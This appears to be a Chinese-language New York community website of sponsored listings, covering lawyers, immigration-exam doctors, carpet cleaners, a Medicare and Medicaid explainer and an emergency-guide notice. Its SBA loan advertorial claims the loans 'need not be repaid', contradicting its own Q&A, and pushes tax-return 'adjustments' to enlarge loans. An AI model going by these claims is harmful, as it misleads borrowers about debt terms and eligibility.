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最佳纽约房地产律师–玛乔瑞律师(Marjory Cajoux)

玛乔瑞律师(Marjory Cajoux)

电话:718-237-0411/347-464-2317
布鲁仑办公室:406 Atlantic Avenue, Brooklyn, NY 11217
曼哈顿办公室:One Rockefeller Plaza 10F, New York

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玛乔瑞1996年开始从事律师行业,拥有纽约州执照,是纽约地产案件方面的专家,也非常擅长海外投资移民的申请。

在地产方面她有许多的客户,玛乔瑞律师的业务包括纽约房地产交易的所有方面,并成功赢取了众多贷款欺诈、地产欺诈、强行拍卖房产等案件。

玛乔瑞律师的办公室设在曼哈顿和布碌仑,为更好的帮助华人,首次咨询免费。

拥有超过20余年的房产、遗产法律实践经验
“成功为华人客户追讨被银行法拍的房屋”
“成功为华人客户讨回被诈骗投资客盗取的房产”
专门代表客户:
买卖商业楼宇和个人住宅
出庭追回被盗或法拍房产
法拍诉讼、修改贷款、产权分割

玛乔瑞律师(The Law Offices of Marjory Cajoux)  718-237-0411

最佳纽约房地产律师–王雪洁律师

Law Offices of Xuejie Wong PLLC

中华律师楼–王雪洁律师

地址:136-20 38th Ave Suite 9I, Queens, NY 11354
电话:646-248-2037

最佳纽约房地产律师–王雪洁律师 | 美国纽约买卖房屋 纽约房地产律师推荐

中华律师楼是一家口碑好,信誉高的老牌华人律师事务所,拥有一支强大而专业的律师队伍,丰富的实践经验,由王雪洁律师主理。

中华律师楼纽约房地产律师团队承办各类住宅及商业房地产买卖 (Residential & Commercial Real Estate Transaction)、房屋买卖丶生意买卖丶房契转名丶贷款申请丶陪审团案件 (Jury Trial case)。

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最佳纽约房地产律师–朱&施联合律师楼

朱&施联合律师楼

地址:450 7th Ave #305, New York, NY 10123
电话:212-279-5442

朱&施联合律师楼有出色的纽约房地产律师队伍,凭着丰富的法律知识,精湛娴熟的办案技巧,在北美地区享有很高的声誉。

承办商业房地产部份包含:

房屋买卖丶生意买卖丶房契转名丶贷款申请丶公司成立/解散/上市/私募丶合并与收购丶商务契约等。

最佳纽约房地产律师–耿婷律师

耿婷律师楼

地址:39-07 Prince St #3G, Flushing, NY 11354美
电话:718-321-7006

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耿婷律师楼经验丰富的团队积极处理广泛的纽约房地产交易。我们为国内外的房地产开发商、房地产业主、出租人、承租人、融资银行、投资者和业主提供法律服务。

我们全方位的房地产服务包括:

*合作社、公寓和私人住宅的个人交通工具。

*在商业和住宅事务中代表借款人和承租人的贷款和租赁。

*房地产和房东/租户事宜的谈判,以及避免诉讼的和解。

*以分析开发潜力的形式对房地产开发/运输进行尽职调查,并为实现开发目标的最佳土地使用策略提供咨询。

*开发权转让和合并协议。

*房地产开发项目的设立、组建和转让实体。

*房地产投资相关税务安排及咨询,包括1031交换。

*房地产纠纷解决。

以上最佳纽约房地产律师排名不分先后。

 

2021-10-04 / by / in , , ,
【最后季度】5万-200万企业纾困:32年不还本金、无抵押,3.75%利息,房产翻修等老板看过来! (电话:646-963-1668 美国小企业贷款不用还 中小型企业贷款 贷款利率 美国商业贷款)

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有的企业可以申请50万,100万,有的企业只能申请到1万、2万,甚至申请被拒!

为什么?

普通会计师缺少申请经验,对美国政府的运作、条文内涵不清晰。

资深会计师Nick李先生告诉笔者,“善于和SBA这类政府机构打交道的会计师不多,填写不专业,很多人就会申请不到,申请金额不足或者拖延很长时间……”

下文就是Nick的主要观点:

你能申请到多少钱?毛收入×2

毛收入不是净利润,很多人说我2019年只是报税3万——通常都是说的净利润3万。很可能这个人的去掉人工、房租等管理成本之前,其毛收入是20万,那么他(她)就可以拿到40万的贷款,而这40万可以用32年!

毛收入当然也不是总收入,要去掉货款或者成本的那一部分。比如你在亚马孙卖货,销售总收入是100万,进货价是20万,80万就是你的毛收入,你就可以贷款160万。翻建房地产业务,卖房子总销售额200万,你的买入价和装修成本是100万,100万就是毛收入,你就可以贷款200万。上述这两位就分别可以拿160万用32年、拿200万用32年,仅用3.75%的年利率!

天啊,这比继承了一笔200万遗产还厉害!因为继承遗产要交40%的税一次支付,这笔钱只是每年交3.75%。

SBA审批的依据是税表,所以申请多少钱,要看2019年和2020年的税表,2019年是最主要的,所以需要知道自己能申请多少钱的同学,就准备好税表(咨询电话:646-963-1668)。

我有资格申请吗?相当多例外情况

首先,你必须是绿卡或者公民。如果你不是绿卡和公民能够申请吗?

在表面上SBA的规定上,就是不能申请了。但是……

但是,有经验的CPA知道还有一些例外情况,你是属于例外的情况吗?

相当多的人都是例外情况,自己不知道,他的会计师也不一定知道,就错过了申请……

其次,是公司必须是2020年1月31日之前成立的小公司。SBA对小公司有明确的规定,一般是300人雇员以下,华人的生意大部分都是这样的了。疫情之后成立的公司就非诚勿扰了。

有人说,我的公司就我一个人,可以申请吗?答案是:可以。没有成立公司、拿1099的自雇佣人士都适用,简单说,是个生意都可以,无论是按摩店,餐馆,还是公关公司,房地产商……但是,全部是W-2收入的绝对不行,除非你也有1099的一定收入。

税表调整既要高技术、又需要慎重

很多老板为了报税省钱,一方面总是把自己的净利润做得很低,甚至是亏损;另外一方面,税表是随便请一位很便宜的会计师来做的,而低价请来的会计师报税过程经常会图省事儿,或者是迎合客户需要——整个税表其实是问题百出……这样的税表给SBA的贷款审批专家来看,不批准、批准很少当然也是很正常。

我们在申报过程中发现,很多税表把成本货物(或者存货成本)的位置填写错误了,存货成本写错了位置,这个成本很高,当然就导致毛收入大幅度减少,当然不能够贷款很多。

很多税表不得不调整,以还原业务的本来逻辑,使确实需要帮助的商家能够拿到自己应该拿到的贷款;但是我们绝对不做假,如果你打算作假,这是欺诈,要入狱坐牢的,赚了钱也花不了——这不要来找我们!即使修改税表,也需要提供非常确凿的证据,在官方的审视之下,是可以站得住脚的!当然,同时这也是一项有经验的、专业CPA服务。

税表调整会花很多时间,而现在所剩时间不足3个月了,所以各位老板真的要赶快行动!这本来属于你家锅里的肉,不要变成鸭子飞走了……

在时间有限的情况下,不改税表拿钱少些了,但是你能够拿到!修改之后,几经反复,如果是错过了最后的时间,很可能反而是竹篮打水,一场空。

善于上诉,擅长Fight!

很多已经申请过、但是没有申请下来的,一定要提供申请代码给我们——已经申请过的,需要一直用这个代码申请,与SBA沟通如何增加金额等,或者是上诉。如果还想当作新Case去申请,100%会被拒绝。

很多案子,虽然经过的专业操作,但是各个SBA的审批人员还是千差万别,还是对申请者提出各种补件要求。SBA贷款案子申请多了,我们的团队也会摸清楚各种路数特点。

当然,根据你申请的额度不同,申请人的信用分数要在570分-650分之间,信用不够也是被拒绝的原因之一。

不管怎样,时刻准备——Fight!为了客户的利益而战!所以作为专业的申请团队——我们非常擅长上诉。

我们是谁?是一群擅长与SBA打交道的专业会计师团队,超过30人。每一位客户的Case,我们都有专门的人去跟踪。多年的经验,使我们熟悉政府条文的内涵所指,我们擅长上诉文件的写作,在准备文件上能够符合他们的要求——这是你的Case不被无限期搁置的重要决定性因素。

仅剩最后一季度,快行动——拿下原本

属于你的10万-200万美金!

最后SBAEIDL贷款的截至日期是今年的12月31日,而准备文件有的时候很快,有的时候需要几周的时间!想想看,如果我们拿到了这笔钱,无论是50万,还是100万、200万,翻修房子的投资公司,就不必发愁装修款怎么解决了,餐馆也不必发愁之前因为亏损而导致的流动资金紧缺,卖货的可以每年周转2-4次,一切梦想都可以重新规划,梦想因此而与我们更近了……

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问答:

相关问题和答案整理如下:

提问:谁可以获得 COVID EIDL贷款?

企业规模:雇员人数不超过 500 人或根据 SBA 规模标准定义为小型企业。无论年收入10万,还是年收入300万,都可以申请。年收入$10万的可以考虑申请$20万,最高申请额度是$200万。

非营利组织(2.75%利率):大多数私营非营利组织,包括宗教非营利组织,如果满足其他计划资格要求,则无论规模大小都有资格获得。

对申请人的要求:

信用评分 570 或以上

2020年 1 月 31 日或之前的正在营业或待营业的投资证明

企业提供EIN

美国公民和绿卡的永久居民SSN

提问:之前听说贷款的上限是50万,现在怎么又是上限200万了?

给中小企业贷款上限200万是本来在计划之中的,是从今年9月9日才开始实施。

提问:COVID EIDL贷款有哪些条件?

COVIDEIDL 贷款是必须偿还的贷款。与薪资保护计划贷款不同,COVID EIDL 贷款不能申请免还,但是可以在24个月之后还。

企业借款周期是30 年,3.75%固定利率。私人非营利组织借款周期也是30年,2.75%固定利率

还款延期:贷款期限为 30 年;还款首次延期 18 个月(在此期间应计利息),并且在 剩余年度内清偿本金和支付利息。您可以随时提前还款且没有任何罚款。

担保物:

0 美元 – 25,000 美元:无担保要求

25,001美元 – 2,000,000 美元:业务资产所需的担保协议

个人担保:

0 美元 – 200,000 美元:无需个人担保

200,001 美元 – 2,000,000 美元:提供个人担保。

提问:我可以将贷款资金用于哪些用途?

借款人可以使用 COVID EIDL 营运资金贷款资金定期支付营运费用,以及支付随时产生的企业债务 (包括企业信用卡债务)、薪资、租金/按揭贷款、公用事业费以及其他常规业务费用。

提问:如何计算我可以获得的贷款总额?

企业贷款总额计算:(收入总额-销售成本)×2

非营利组织贷款总额计算:(收入总额-费用)×2

计算数据以税表上公布的企业相关数据为准。

提问:我可以调整上一年企业的税表吗?需要多少时间?

申请成功和较多贷款的关键技术之一,就是合理合法地调整上一年的税表,与我公司长期合作的资深会计机构会在一周之内完成调整,之后即可为申请所用。

提问:为什么周围很多朋友的公司的申请都被拒绝了,或者拿很少的钱?

被拒绝有多种原因的,包括身份验证失败,国际IP地址,与欺诈相关联的客户端设备或高风险IP地址造成;还包括申请主体不合格,申请公司的商业活动不符合条件,未能证明经济损失,未能相应等等复杂的因素,没有经验的申请者通常都是申请不到或者申请到较少的金额.

 

距离截至日期,还有两个月了,确定能拿100万花30年……相当于继承了一笔100万的遗产…..

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2021-10-03 / by / in , ,
【金牌推荐】 纽约精选移民体检医生 | 移民局指定体检医生 华人医生 绿卡体检

移民体检,也称为绿卡体检,是申请成为美国永久居民(申请绿卡)过程中的一个重要步骤。但并不是有了医生执照就可以做移民体检。根据美国移民局的规定,美国做移民体检的医生需要获得移民局资质认可。我们为大家精选了纽约地区,移民局资质认可的华人移民体检医生。没有语言障碍,在体检过程中有助于您和医生的有效沟通。

法拉盛宋瑾家庭内科诊所718-290-5810

郭晓军医生诊所  纽约华人移民体检(绿卡体检)医生 中文

法拉盛诊所

地址:136-68 Roosevelt Ave, Suite 5D Flushing, NY 11354

电话:(718) 285-9688

时间:周一至周六: 9:00am-5:30pm,周日预约

长岛诊所

地址:45 North Station Plaza, Great Neck, NY 11021

长岛大颈火车站北广场(45 N Station Plaza),214室

电话:516-669-0366

时间:周二、四、六: 9:00am-1:00pm,周日预约

郭晓军医生告诉申请绿卡的新移民,移民体检是在美国拿绿卡的必经之路,如果体检不合格,绿卡也会因此而遭拒绝。需要在纽约移民体检的华人朋友,一定要做足功课,找到最佳的移民体检医生。

纽约移民体检诊所(718) 285-9688 /家庭医生诊所/移民体检医生

纽约移民体检医生 华人医生 赵健生家庭医生JIANSHENG ZHAO MD

地址:  39-07 Prince St., Suite 4F Flushing, ny 11354

电话:   718-939-3780, 917-445-5051(24小时传呼)

赵健生医生是内科专科医学博士,纽约地区深得华人社区信任的医生。是美国移民局指定的移民体检医生。赵健生医生善于和患者沟通,热心为患者服务。

纽约最好私人医生917-445-5051/法拉盛最值得信赖家庭医生

 

纽约法拉盛地区华人移民体检医生 吴琼西医内科

地址:3808 UNION ST, SUITE 3J FLUSHING, NY 11354

电话:718-321-3522

开诊时间:周一至周五 9:30am-6pm

周六9:30am-5:30pm; 星期天休息

吴琼医生有20多年行医经验,是纽约地区有资质认可的华人移民体检医生。

吴琼西医内科QIONG WU. M.D.

 

纽约法拉盛移民体检 王雨林家庭医生内科诊所 中文医生

地址:133-29 41st Rd,Suite 2D Flushing, NY 11355 法拉盛天福医疗中心2楼D座

电话:+1 917 997 1311

看诊时间:每天9:30AM–6:00PM, 一周7天开诊

王雨林医生内科诊所,获美国移民局资质认可,为申请美国移民身份,申请绿卡的客户提供快捷、专业、经济的移民体检(绿卡体检)。

王雨林家庭医生内科诊所 Dr. Yulin Wang MD

 

纽约地区移民局指定移民体检医生 华人医生吴旭霞内科家庭医生诊所

地址:131-07 40th Road, Unit E06, Flushing, NY 11354

位于法拉盛天景购物中心停车场后面大楼,可直接开车或乘BJ’S门前电梯至停车场5层,停车方便

电话: 718-661-0018

看诊时间: 7天开诊

吴旭霞医生诊所是美国移民局指定的移民体检诊所,由内科医师吴旭霞医学博士主理。前往体检只需携带有照片的身份证、护照或驾照及接种疫苗的记录即可。

吴旭霞医生温馨提醒来美国申请绿卡的华人朋友,体检前一天请不要喝酒,注意休息;抽血和B超检查前最好空腹(禁食8小时以上,可以饮水);体检时最好穿宽松的衣服,最好不要戴项链等装饰,以便拍胸片。

移民体检医生(718) 661-0018纽约移民局指定的移民体检医生

 

您向移民局提交调整身份申请表(I-485) 时,就要开始找移民局指定的医生做体检。体检结果和疫苗接种记录会由医生记录在体检和疫苗报告(Report of Medical Examination and Vaccination Record) I-693表格中。体检医生填写完签字后,会密封然后交给您,再由您提交给移民局。这时,千万注意不要打开袋子,否则会被视为无效。

另外,前往体检时请记得带好身份证件和疫苗接种记录。如需了解移民体检流程和一些注意事项请点击链接。祝您申请绿卡和体检过程,一切顺利。

2021-10-03 / by / in
【金牌推荐】最佳纽约离婚律师 | 纽约华人离婚律师 纽约快速离婚

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最佳纽约离婚律师—史蒂文律师楼

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电话:347-599-1699
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最佳纽约离婚律师—游爱虹律师事务所

Law Office of Aihong You

地址:9 Mott Street, Suite 600, New York, NY 10013
电话:917-412-3606

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游爱虹律师事务所专注于为客户提供家事纠纷、离婚诉讼、商业诉讼、遗嘱和信托、地产等方面的法律援助。游律师持有纽约州执照, 新泽西州执照, 各级联邦法院, 破产法院执照。为大纽约地区客户提供一站式法律帮助。多年来,游律师成功地帮助无数客户解决了各种法律难题 。 无论是个人还是企业,都对游爱虹律师事务所提供的辩护服务非常满意。

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最佳纽约离婚律师—文太理律师楼

地址:136-20 38th Ave, #10E, Flushing, NY 11354
电话:718-358-8787

【金牌推荐】 最佳纽约离婚律师 | 纽约华人离婚律师 纽约快速离婚 文太理律师楼

文太理律师,作为纽约家庭法诉讼专业律师,全身心服务纽约华人社区,在纽约享有极高的声誉。

文太理律师精办移民婚姻家庭案件,他凭着多年的实际办案经验,为无数家庭办理离婚、财产分割、赡养等家庭法案件,为无数父母赢得了抚养权官司,解决了抚养归属难题。

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最佳纽约离婚律师—罗曼律师楼

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【金牌推荐】 最佳纽约离婚律师 | 纽约华人离婚律师 纽约快速离婚 罗曼律师楼

罗曼律师精办移民婚姻家庭案件,他凭着丰富的办案经验,为无数移民办理离婚、财产分割、赡养等家庭法案件,为无数移民赢得了官司,解决了生活难题。

罗曼律师是全美律师转会卓越律师之一,灵活运用家庭法律,案件成功率高,曾任费城及华尔街大律师楼的主管律师,积累了多年大型律师楼办移民婚姻诉讼的宝贵经验。

罗曼律师,作为纽约家庭法诉讼专业律师,全身心服务广大移民与华人社区。多年以来罗罗曼律师事务所在纽约享有极高的声誉,在华人社区中备受华人朋友的称赞。

纽约/新泽西/最权威的专业离婚律师(212)732-2220罗曼律师楼

最佳纽约离婚律师—王君宇律师楼

Wang Law Office, PLLC

地址:37-12 Prince Street, Unit 10A Flushing, NY 11354
电话: (718) 353-9264

对于每个离婚原因,法律上有相应的解释,对于你是否符合其条件,可以咨询专业律师。离婚不易,是精神,感情,经济上共同的损失,王君宇律师友情提示你在离婚案件中一定要请求律师来帮助你分担纠纷所带来的压力,减少你的损失。

王君宇律师楼 – Wang Law Office, PLLC

最佳纽约离婚律师—朱&施联合律师楼

地址:450 7th Ave #305, New York, NY 10123
电话:212-279-5442

朱&施联合律师楼专业团队规模宏大,有众多经验丰富的律师,注册会计师,和在各个不同法律领域有所专长的专家及助理帮助您处理现代瞬息万变的社会中随时会遇到的各类法律问题。

拥有经验丰富且专业的婚姻律师团队,可提供:英语,囯语,台语,广东话,温州话,福州话、潮州话和上海话等服务

以上最佳纽约离婚律师排名不分先后。

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2021-10-02 / by / in ,
美国政府医疗保险项目 红蓝卡和白卡区别在哪里 | 福利范围 申请方法 资格 费用

美国的红蓝卡和白卡,都是政府资助的医疗保险项目。红蓝卡的英语是Medicare,白卡的英语是Medicaid,这两个英语单词的拼写和读音都非常相似。对华人新移民来说,可能会感觉比较困惑,既然都是政府资助的健康保险项目,为什么分为红蓝卡和白卡,区别在哪里呢?

红蓝卡和白卡

红蓝卡是联邦政府资助的一项健康保险计划,主要的对象是65以上的长者、残疾人士以及一些有特定健康问题的人士。红蓝卡的A部分和B部分由联邦政府资助;C部分和D部分是由联邦政府管理,私人保险公司提供的医疗保险计划。

美国联邦医疗保险Medicare红蓝卡 谁有资格申请 | 纽约退休医疗保险 ABCD四部分福利项目 申请材料 申请方式 申请时间 2021年最新资讯

白卡由每个州的州政府自行管理,主要是提供给低收入人士的医疗保险计划,针对不同的人群会有不同的医疗保险计划。白卡的具体规定每个州各不相同,但都遵循联邦福利准则。

红蓝卡和白卡的福利范围

红蓝卡的A部分是住院保险,B部分是看医生保险,D部分是处方药保险,而C部分(优势计划)综合了A,B和D部分,并且额外提供传统红蓝卡不覆盖的医疗福利,比如牙科、眼科、健身和听力部分。红蓝卡的A部分和B部分,作为传统医保,有标准的福利范围,而C部分和D部分则根据不同的地方、不同的保险公司所提供的不同的保险计划,而各不相同。

美国联邦医疗保险Medicare红蓝卡 ABCD四大部分 | 福利范围 各项费用解析 保费 自付额 共保额 2021年最新更新

白卡的福利范围由两部分组成,一部分是必须的医疗福利项目,这部分由联邦政府规定,每个州都一样;另一部分则是扩展福利项目,这部分由每个州自行规定覆盖哪些扩展的福利。

红蓝卡和白卡需要承担的费用

无论红蓝卡还是白卡,都可能会有自己承担费用部分,比如:保险费premium,自付额deductible,共保额coinsurance和手续费copay。

对于红蓝卡,自己承担的费用多少取决于自己选择的保险计划,不同的保险计划,所提供的健保服务不同,自己所承担的费用都不一样。

白卡自己的承担费用,则取决于个人的收入和所在州的规定。

可以同时有红蓝卡和白卡吗?

回答是可以的。哪些人可以同时有红蓝卡和白卡呢?

如果您符合条件可以同时有红蓝卡和白卡,称为是“双重资格”。比如65岁以上,同时又是低收入和低资产的长者。这两项保险计划的福利,可以免除您绝大部分的医疗费用。一般医疗费用先由红蓝卡负担,红蓝卡不覆盖的部分,也就是自己承担的费用,再由白卡报销。

红蓝卡和白卡的申请

红蓝卡可以到社会保障局(Social Security),直接申请A部分和B部分。一般年满65岁以后,领取社会安全或者铁路退休金的,则不需要自己去申请,相关机构会与您提前联络,到了规定年龄自动加入A部分和B部分。参加C部分和D部分的计划,则需要联系私人保险公司,选择自己合适的保险计划。

申请白卡的资格要求则取决于各州的规定,想知道自己是否符合白卡要求,您可以联络所在州负责白卡的部门,也可以登录www.medicaid.gov 查找当地负责白卡申请的机构,了解白卡的申请资格和申请方法。

美国纽约申请Medicaid白卡收入标准 福利项目 | 申请条件 流程 是否公共负担 影响身份申请吗

红蓝卡和白卡是两种不同的健康保险计划,了解两者的不同点,也许能助您了解自己适合申请哪一种保险计划。假如您符合双重资格,两种健康保险计划可以同时给您提供医疗福利。

2021-10-02 / by / in ,
美国清洗地毯 纽约清洗地毯公司718-737-5090 华人洗地毯公司推荐)

文|雨荷

美国纽约很多家庭中室内都有地毯。地毯不仅可以保暖、美化家居环境,也让室内更加温馨舒适,还可以吸音和隔音,同时可以起到防滑作用。但随着时间的推移,它往往会变得相当脏。它的细菌可能比马桶座脏4,000倍,而且也可能有很多不同的生物。

清理地毯,真空吸尘器是不够的,所有地毯都应该至少每六个月进行一次深度清洁。会使地毯的预期寿命翻一番。彻底的深度清洁不仅可以恢复地毯的外观,使其闻起来清新干净,还可以减少堆积物的磨损,从而延长地毯的使用寿命。您的地毯每平方码(1平方米)可以隐藏多达1磅(0.5公斤)的污垢。找清洗地毯公司清理地毯尤为关键。清洗地毯要找口碑好的,找经验丰富专业的。

清理地毯,真空吸尘器是不够的,所有地毯都应该至少每六个月进行一次深度清洁。 示意图

下面小编为您推荐清洗地毯公司,纽约地毯清洁公司有多年清洗地毯经验,通过洗地毯专业考核,全新超高压车载蒸汽机,多年专业清洁经验,全面清洁您的地毯。拥有圣地亚哥更美好商业局的A+级、Clean Trust认证技术人员团队和高满意度,赢得了客户可以信任的声誉。

纽约专业洗地毯 (718)-737-5090 纽约地毯清洁公司/专业清洗地毯

公司有称职的技术人员、清洁技术和最先进的设备。热水提取技术可以去除地毯上不必要的污染物、干燥的土壤和污渍。无论您的地毯是由什么制成的,纽约清洗地毯公司都会把它们弄干净!

无论您的地毯是由什么制成的,纽约清洗地毯公司都会把它们弄干净! 示意图

商业物业服务

纽约清洗地毯公司为商业物业提供一系列服务,包括:

  • 地毯清洁:地毯经过预处理、擦洗和蒸汽清洁。然后使用高压技术用热水和清洁液的组合清洁地毯。清洁后,运行带有吸水帽的地板机来吸收更多的水分,并使用地毯干燥风扇来更快地产生效果。
  • 区域地毯清洁:可以取走和清洁区域。几乎所有类型的地毯织物都可以清洁,包括天然和合成地毯材料。
  • 室内装潢清洁:沙发、椅子和靠垫上的室内装潢可以专业清洁,以消除大厅和办公室的污渍和气味。
  • 地毯和织物保护器:在提供任何地毯或室内装潢清洁服务后,公司的技术人员建议使用保护器来防止污渍,使斑点清洁更容易,并延长织物的使用寿命。
  • 地毯维修:如果地毯磨损、撕裂或变色,修复地毯的,清洁的处理使您的地毯焕然一新。

纽约清洗地毯公司为商业物业提供一系列服务。 示意图

专业定期清洁让地毯看起来清新

清洁地毯的最有效方法是聘请专业的地毯公司人员。他们拥有彻底和安全地清洁地毯的工具和知识。您应该每年至少专业清洁二次地毯,以清除地毯深处积聚的灰尘、皮肤薄片、尘螨等。纽约清洗地毯公司还会对您家的空气质量产生很大影响,消除异味,让您和您的家人处于更健康的环境中!

服务范围包括:

  • 公寓楼
  • 酒店
  • 医疗设施
  • 办公楼
  • 餐厅
  • 零售店
  • 大学
  • 教堂
  • 学校

清洁地毯的最有效方法是聘请专业的地毯公司人员。 示意图

提供有效的绿色地毯清洁服务

纽约地毯清洁公司的高速工艺用很少的水清洗,并显著减少了地毯干燥所需的时间。您的地毯很快就会恢复如初!纽约地毯清洁公司提供对人、宠物和户外安全的绿色地毯清洁服务。

纽约地毯清洁公司的高速工艺用很少的水清洗,并显著减少了地毯干燥所需的时间。 示意图

下面介绍一下清洗地毯的窍门

一:如何清洁地毯上的机油污渍?

●用黄油刀刮掉多余的油。注意不要用力按压,否则可能会损坏地毯纤维;
●将小苏打或玉米淀粉直接洒在油渍上,静置 10-15 分钟;
●把粉末吸起来;
●取一块干净的布,滴几滴干洗溶剂,轻拍在机油污渍上;
●如果污渍仍然可见,将两杯温水与一汤匙白醋和一汤匙洗洁精混合,然后用干净的海绵将溶液涂抹在污渍上;
●继续直到污渍消失;

如何清洁地毯上的机油污渍? 示意图

二:如何清洁地毯上的牛奶?

●用吸水纸、布或毛巾吸尽可能多的牛奶;
●取一个小碗,将两杯温水与一汤匙洗手液混合;
●用水轻轻沾湿一块布,然后用混合物润湿;
●用布吸干牛奶,直到污渍消失;
●在受影响的区域撒上玉米淀粉或氨水,让它静置约 30-60 分钟,或者无论干化合物需要多长时间才能吸收剩余的残留物;
●一旦该区域干燥,取出吸尘器并吸尘地毯的受影响区域。

如何清洁地毯上的牛奶? 示意图

三:如何去除地毯上的新鲜血迹?

●始终戴手套,因为处理血液会危害健康;
●在血迹上加点水稀释血迹,然后用湿布轻轻擦拭。用冷水冲洗该区域;
●用毛巾或布擦干该区域,然后在地毯上铺一些纸巾以吸收多余的水分;
●让该区域变干,然后在上面运行真空吸尘器,使地毯纤维丰满;

如何去除地毯上的新鲜血迹? 示意图

四:如何清洁地毯上的食用油污渍?

●用纸巾吸干尽可能多的油。继续这样做,直到毛巾上不再出现油;
●将少量酒精涂抹在干净的毛巾上,然后轻拍在油渍上。确保吸干,而不是擦拭,因为这会使油在更宽的表面上扩散;
●调制由 1/4 杯水和 1/4 茶匙洗碗液制成的混合物。理想情况下,洗碗液应该是知名品牌,可以有效去除油脂,并且不含任何会使地毯褪色的羊毛脂或漂白剂;
●使用干净的海绵将洗碗液涂抹在油渍上,然后将其涂抹在受影响的区域,直到污渍不再可见;
●用少量水清洗肥皂泡沫,然后用干净的毛巾吸干;
●在受影响的区域添加纸巾以吸收剩余的水分;
让该区域干燥。

如何清洁地毯上的食用油污渍? 示意图

五:如何清洁地毯上的墨水?

●拿一罐发胶,弄湿墨水渍;
●用毛巾轻轻擦拭患处。您应该看到墨水转移到毛巾上;
●继续轻拍直到墨渍消失;
●用温水浸湿毛巾,轻轻吸干该区域以清除残留的发胶痕迹,然后晾干。

纽约清洗地毯公司

电话:718-737-5090

2021-10-01 / by / in , , , , ,
纽约市应急管理中心局NYCEM推出中文服务

艾达飓风给纽约造成了巨大的经济损失,为了防范这类灾害重演,纽约市应急管理中心局(NYCEM)推出了灾难预防指南(Ready New York),以便民众能够正确的应对飓风侵袭、房屋失火,或家中跌倒等紧急事件。纽约市的这项灾难预防指南特别提供了中文版本。

这项灾难预防指南包含了灾难预防信息,还涵盖应急物品列表、紧急事故支援网络、灾难撤离计划,以及纽约市相关资源中心联系方式等信息。

纽约市应急管理局向民众提供预防灾难所需要的各类信息,并包含了中文版本。 (The Epoch Times)

该份指南建议,飓风来袭时,应将有价值的物品从容易淹水的地下室移到高楼层;城市里许多区域可能会因为大雨而淹水,地下室居民即使住在疏散区范围外,也需往地面上避难。

另外,无论居住在出租房还是自己的房屋,洪水和强风都不在基础保单的承保范围内,民众需要购买一份单独的保险来应对洪灾。了解更多有关全国洪水保险计划的咨询,请浏览www.floodsmart.gov

指南还包含了今年6月1日(大西洋飓风季节开始时)发布的最新“纽约市飓风疏散区”地图,可以访问 NYC.gov/knowyourzone查看最新版本的飓风疏散区地图。一旦沿海风暴来临时,纽约市会根据预测的飓风强度、轨迹和暴风潮对生命安全的威胁来决定疏散的区域。

“纽约市飓风疏散区”以6个颜色标示6个疏散区的紧急程度。(纽约市应急管理局NYCEM发布的灾难预防指南)

市应急管理局个人防灾协调员鲍威尔(Edward Powell)指出,地图用颜色编码标识了纽约市的6个疏散区(Zone 1~Zone 6),红色区域是海滨和低洼区域,最有可能被洪水淹没,因此在紧急情况下必须撤离。到深绿色区域是更高的区域,最不可能需要疏散。地图上还列出了所有五个行政区的飓风疏散中心。

纽约市应急管理局表示,更新的飓风疏散区地图纳入了国家气象局输出的新的、分辨率更高的风暴潮模型。使纽约市能够更准确地定义最有可能因飓风引发的风暴潮而发生​​洪水的区域。

下载纽约市灾难预防指南中文手册:https://tinyurl.com/yu9rnua5

2021-09-30 / by / in , , , , , ,
美国清洗地毯 纽约清洗地毯公司(718-737-5090 华人洗地毯公司推荐)

美国纽约很多家庭中室内都有地毯。地毯不仅可以保暖、美化家居环境,也让室内更加温馨舒适,还可以吸音和隔音,同时可以起到防滑作用。但随着时间的推移,它往往会变得相当脏。它的细菌可能比马桶座脏4,000倍,而且也可能有很多不同的生物。

清理地毯,真空吸尘器是不够的,所有地毯都应该至少每六个月进行一次深度清洁。会使地毯的预期寿命翻一番。彻底的深度清洁不仅可以恢复地毯的外观,使其闻起来清新干净,还可以减少堆积物的磨损,从而延长地毯的使用寿命。您的地毯每平方码(1平方米)可以隐藏多达1磅(0.5公斤)的污垢。找清洗地毯公司清理地毯尤为关键。清洗地毯要找口碑好的,找经验丰富专业的。

下面小编为您推荐清洗地毯公司,纽约地毯清洁公司有多年清洗地毯经验,通过洗地毯专业考核,全新超高压车载蒸汽机,多年专业清洁经验,全面清洁您的地毯。拥有圣地亚哥更美好商业局的A+级、Clean Trust认证技术人员团队和高满意度,赢得了客户可以信任的声誉。

纽约专业洗地毯 (718)-737-5090 纽约地毯清洁公司/专业清洗地毯

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商业物业服务

纽约清洗地毯公司商业物业提供一系列服务,包括:

  • 地毯清洁:地毯经过预处理、擦洗和蒸汽清洁。然后使用高压技术用热水和清洁液的组合清洁地毯。清洁后,运行带有吸水帽的地板机来吸收更多的水分,并使用地毯干燥风扇来更快地产生效果。
  • 区域地毯清洁:可以取走和清洁区域和东方地毯。几乎所有类型的地毯织物都可以清洁,包括天然和合成地毯材料。
  • 室内装潢清洁:沙发、椅子和靠垫上的室内装潢可以专业清洁,以消除大厅和办公室的污渍和气味。
  • 地毯和织物保护器:在提供任何地毯或室内装潢清洁服务后,公司的技术人员建议使用保护器来防止污渍,使斑点清洁更容易,并延长织物的使用寿命。
  • 地毯维修:如果地毯磨损、撕裂或变色,修复地毯的,清洁的处理使您的地毯焕然一新。

专业定期清洁让地毯看起来清新

清洁地毯的最有效方法是聘请专业的地毯公司人员。他们拥有彻底和安全地清洁地毯的工具和知识。你应该每年至少专业清洁二次地毯,以清除地毯深处积聚的灰尘、皮肤薄片、尘螨等。公司还会对您家的空气质量产生很大影响,消除异味,让您和您的家人处于更健康的环境中!

服务种类包括:

  • 公寓楼
  • 酒店
  • 医疗设施
  • 办公楼
  • 餐厅
  • 零售店
  • 大学
  • 教堂
  • 学校

 

专业定期清洁让地毯看起来清新清洁地毯的最有效方法是聘请专业的地毯公司人员。他们拥有彻底和安全地清洁地毯的工具和知识。你应该每年至少专业清洁二次地毯,以清除地毯深处积聚的灰尘、皮肤薄片、尘螨等。公司还会对您家的空气质量产生很大影响,消除异味,让您和您的家人处于更健康的环境中!

提供有效的绿色地毯清洁服务

纽约地毯清洁公司的高速工艺用很少的水清洗,并显著减少了地毯干燥所需的时间。您的地毯很快就会恢复如初!纽约地毯清洁公司提供对人、宠物和户外安全的绿色地毯清洁服务。

下面介绍一下清洗地毯的窍门

一:如何清洁地毯上的机油污渍?

●用黄油刀刮掉多余的油。注意不要用力按压,否则可能会损坏地毯纤维;
●将小苏打或玉米淀粉直接洒在油渍上,静置 10-15 分钟;
●把粉末吸起来;
